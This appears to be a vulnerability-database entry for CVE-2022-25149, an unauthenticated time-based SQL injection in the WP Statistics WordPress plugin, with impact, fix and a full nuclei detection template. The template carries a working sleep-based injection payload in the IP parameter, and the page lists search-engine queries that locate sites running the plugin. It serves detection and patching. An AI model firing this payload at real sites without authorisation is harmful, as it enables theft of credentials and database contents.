HexBrain

Browse / CVEs / CVE-2022-25149

CVE-2022-25149· veronalabs / wp statistics· CWE-89

WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection

highseverity
7.5CVSS score
77.5%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the IP parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.

Impact

Unauthenticated attackers can execute time-based blind SQL injection through the IP parameter to extract sensitive database information including user credentials, posts, comments, and WordPress configuration data.

Fix

Update WP Statistics plugin to version 13.1.6 or later that properly escapes and parameterizes the IP parameter.

How to confirm it

Send: GET / ; @timeout: 50s
Positive when: duration>=6 and status_code == 200 and contains(header, "application/json") and contains(body, 'Visitor Hit was recorded successfully')

Run it with nuclei: nuclei -id CVE-2022-25149 -u <target>

The full check
id: CVE-2022-25149

info:
  name: WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the IP parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.
  impact: |
    Unauthenticated attackers can execute time-based blind SQL injection through the IP parameter to extract sensitive database information including user credentials, posts, comments, and WordPress configuration data.
  remediation: |
    Update WP Statistics plugin to version 13.1.6 or later that properly escapes and parameterizes the IP parameter.
  reference:
    - https://wordpress.org/plugins/wp-statistics/
    - https://gist.github.com/Xib3rR4dAr/5dbd58b7f57a5037fe461fba8e696042
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25149
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2679983%40wp-statistics&new=2679983%40wp-statistics&sfp_email=&sfph_mail=
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2022-25149
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-25149
    cwe-id: CWE-89
    epss-score: 0.77459
    epss-percentile: 0.99563
    cpe: cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: veronalabs
    product: wp_statistics
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-statistics/
    fofa-query: body=/wp-content/plugins/wp-statistics/
    publicwww-query: "/wp-content/plugins/wp-statistics/"
    google-query: inurl:/wp-content/plugins/wp-statistics
  tags: time-based-sqli,cve2022,cve,sqli,wpscan,wordpress,wp-plugin,wp,wp-statistics,veronalabs,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 50s
        GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce={{nonce}}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip='-sleep(6)-'&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id=0&search_query&page_uri=/&user_id=0 HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "application/json")
          - contains(body, 'Visitor Hit was recorded successfully')
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '_wpnonce=([0-9a-zA-Z]+)'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from